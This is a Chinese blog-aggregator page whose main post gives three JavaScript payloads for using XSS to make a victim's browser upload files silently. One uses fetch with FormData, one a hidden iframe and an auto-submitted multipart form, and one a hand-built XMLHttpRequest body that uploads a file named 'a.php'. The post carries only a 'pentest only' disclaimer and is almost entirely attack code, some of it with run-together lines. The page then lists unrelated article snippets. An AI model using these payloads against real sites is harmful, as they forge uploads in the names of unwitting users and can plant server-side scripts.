使用XSS自动上传表单文件的例子

仅供渗透测试,禁止他用
方案一:fetch

 let formData = new FormData();
formData.append('name', 'John');
formData.append('file', new Blob(['Hello World!\n']), 'test')
fetch("http://www.baidu,com",{body: formData, method: "post"});

方案二:iframe

	var Iframe=document.createElement("iframe")
Iframe.name="csrf-frame"
Iframe.style="display:none"
var Form = document.createElement("form");
Form.action = "http://www.baidu.com";
Form.method = "post";
Form.setAttribute("enctype", "multipart/form-data");Form.target = "csrf-frame";
var Input= document.createElement("input");
Input.type='hidden'
Input.name='a'
Input.value='b'const dataTransfer = new DataTransfer();
var fileInput= document.createElement("input");Form.appendChild(Input)document.body.appendChild(Iframe)dataTransfer.items.add(new File(['Hello World!\n'], 'test', {type: 'application/octet-stream'}));
fileInput.setAttribute("name", "file");fileInput.setAttribute("type", "file");fileInput.files = dataTransfer.files;
Form.appendChild(fileInput)
var formToSubmit = document.body.appendChild(Form);
formToSubmit.submit();

方案三:

if (XMLHttpRequest.prototype.sendAsBinary === undefined) {XMLHttpRequest.prototype.sendAsBinary = function(string) {var bytes = Array.prototype.map.call(string, function(c) {return c.charCodeAt(0) & 0xff;});this.send(new Uint8Array(bytes));};
}var boundary = '----ThisIsTheBoundary1234567890';var formData = '--' + boundary + '\r\n'formData += 'Content-Disposition: form-data; name="source"; filename="a.php"\r\n';formData += 'Content-Type: application/octet-stream\r\n\r\n';formData += 'Data';formData += '\r\n';formData += '--' + boundary + '\r\n';formData += 'Content-Disposition: form-data; name="message"\r\n\r\n';formData += 'message' + '\r\n'formData += '--' + boundary + '--\r\n';var xhr = new XMLHttpRequest();xhr.open('POST', 'haha', true);xhr.onload  = xhr.onerror  = function() {console.log(xhr.responseText);};xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);xhr.sendAsBinary(formData);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/10784.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

String,StringBuilder,StringBuffer

String,StringBuffer,StringBuilder String类 概念:String是不可变类,即一旦一个String对象被创建,包含在这个对象中的字符序列是不可改变的,直至该对象被销毁,并且String类是final类,不能有子…

Debian安装Redis、RabbitMQ、Nacos

安装Redis: 启动Redis、开机自启动 sudo systemctl start redis-server #启动sudo systemctl enable redis-server #开机自启 Redis状态(是否在运行) sudo systemctl status redis-server #查看运行状态 redis-cli ping # 客户端尝试连接 安装RabbitMQ,…

ICSE docker related research

ICSE 2024 Empirical Study of the Docker Smells Impact on the Image Size Docker 气味对镜像大小影响的实证研究 Docker 是一种广泛采用的打包和部署应用程序的工具,它利用 Dockerfile 来构建镜像。然而,创建最佳的 Dockerfile 可能具有挑战性&…

【JavaEE 初阶(五)】文件操作和IO

❣博主主页: 33的博客❣ ▶️文章专栏分类:JavaEE◀️ 🚚我的代码仓库: 33的代码仓库🚚 🫵🫵🫵关注我带你了解更多文件操作 目录 1.前言2.认识文件3.文件操作3.1File 属性3.2构造方法3.3File类方法 4.文件内容操作4.1R…

「JavaEE」多线程案例1:单例模式阻塞队列

🎇个人主页:Ice_Sugar_7 🎇所属专栏:JavaEE 🎇欢迎点赞收藏加关注哦! 多线程案例分析 🍉单例模式🍌饿汉模式🍌懒汉模式🍌指令重排序 🍉阻塞队列&a…

Matlab|考虑极端天气线路脆弱性的配电网分布式电源和储能优化配置模型

1主要内容 程序主要参考《考虑极端天气线路脆弱性的配电网分布式电源配置优化模型-马宇帆》,针对极端天气严重威胁配电网安全稳定运行的问题。基于微气象、微地形对配电网的线路脆弱性进行分析,然后进行分布式电源接入位置与极端天气的关联性分析&#…

易图讯三维电子沙盘-大数据处理服务

易图讯科技10名高级大数据工程师,高效、快速进行POI、DEM、高清卫星影像、地形地貌、路网、矢量地图等海量大数据处理服务。 免费专业提供POI、AOI、DEM、高清卫星影像、地形地貌、路网、矢量地图等海量大数据处理服务。 1年更新2次POI、高清卫星影像。

Electron学习笔记(四)

文章目录 相关笔记笔记说明 六、数据1、使用本地文件持久化数据(1) 用户数据目录(2) 读写本地文件(3) 第三方库 2、读写受限访问的 Cookie3、清空浏览器缓存 相关笔记 Electron学习笔记(一)Electron学习笔记(二)Electron学习笔记…

Rust教程:贪吃蛇游戏(第 2/2 部分)

In this article, we’ll finish the snake.rs file, and also continue with the rest of the files (main.rs, draw.rs, game.rs). 欢迎来到本教程的第二部分,在本文中,我们将完成 snake.rs 文件,并继续处理其余文件(main.rs、d…

数据结构-二叉树-红黑树

一、红黑树的概念 红黑树是一种二叉搜索树,但在每个节点上增加一个存储位表示节点的颜色,可以是Red或者BLACK,通过对任何一条从根到叶子的路径上各个节点着色方式的限制,红黑树确保没有一条路径会比其他路径长出两倍,…

springcloud整合网关(springcloud-gateway) 跨域处理

pom引入依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-gateway</artifactId></dependency><!-- 服务注册 --><dependency><groupId>com.alibaba.cloud</groupId&…

LC3134. 找出唯一性数组的中位数

3134. 找出唯一性数组的中位数 给你一个整数数组 nums 。数组 nums 的 唯一性数组 是一个按元素从小到大排序的数组&#xff0c;包含了 nums 的所有 非空子数组中 不同元素的个数。 换句话说&#xff0c;这是由所有 0 < i < j < nums.length 的 distinct(nums[i..…

Python 将Excel转换为多种图片格式(PNG, JPG, BMP, SVG)

目录 安装Python Excel库 使用Python将Excel工作表转换为PNG&#xff0c;JPG或BMP图片 使用Python将Excel特定单元格区域转换为PNG&#xff0c;JPG或BMP图片 使用Python将Excel工作表转换为SVG图片 有时&#xff0c;你可能希望以图片形式分享Excel数据&#xff0c;以防止他…

【Python 常用脚本及命令系列 1.3 -- 使用Python实现串口读写】

请阅读【嵌入式开发学习必备专栏】 文章目录 Python实现串口读写注意事项 Python实现串口读写 背景&#xff1a; 需要实现个Python脚本打开串口19并设置波特率为115200然后实现write&#xff08;addr, val&#xff09; 和 read(addr)函数&#xff0c;其中write函数是通过在串口…

vue3使用setup模式的store报错

** setup store模式 $reset方法报错 ** 顾名思义就是 使用store 使用的是setup 语法模式 不能执行$reset 方法 解决方式&#xff1a; // main.ts import { createPinia } from pinia const pinia createPinia() pinia.use(({ store }) > {const initialState JSON.pars…

并行计算的一些知识点分享--并行系统,并行程序, 并发,并行,分布式

并行计算 核是个啥&#xff1f; 在并行计算中&#xff0c;“核”通常指的是处理器的核心&#xff08;CPU核心&#xff09;。每个核心都是一个独立的处理单元&#xff0c;能够执行计算任务。多核处理器指的是拥有多个这样核心的单一物理处理器&#xff0c;这样的设计可以允许多…

美股市场恒生指数冲刺19000点关口 地产股大涨

查查配5月10日电(中新财经记者 谢艺观)5月10日,港股现强势行情,恒生指数盘中一度冲至18993.28点,距离19000点关口仅一步之遥。 美港通证券以其专业的服务和较低的管理费用在市场中受到不少关注。该平台提供了实盘交易、止盈止损、仓位控制等功能,旨在为投资者提供更为全面的投…

.net core WebApi 部署 IIS

安装 IIS 下载需要的 net 版本安装 前往 .net core WebApi 项目打包 Program.cs var builder WebApplication.CreateBuilder(args);// 输出 builder.Services.AddControllers().AddJsonOptions(options > {options.JsonSerializerOptions.PropertyNamingPolicy null;…

怎么做自己的网站

现如今&#xff0c;拥有自己的网站已经成为现代生活中的一种标志。无论是个人博客、在线商店还是企业官网&#xff0c;都可以通过拥有一个网站来展示自己的个性、产品或服务。在这篇文章中&#xff0c;我将分享如何创建和管理自己的网站。 首先&#xff0c;你需要选择一个合适的…

go语言切片slice使用细节和注意事项整理

go语言中切片slice的使用是最为频繁的&#xff0c;效率也是最高的&#xff0c; 今天就给大家说说我们在使用过程中会忽略的一些细节。 先普及一下slice的核心基础知识&#xff0c; go语言中的切片是引用类型&#xff0c; 其底层数据的存储实际上是存储在一个数组 上&#xff08…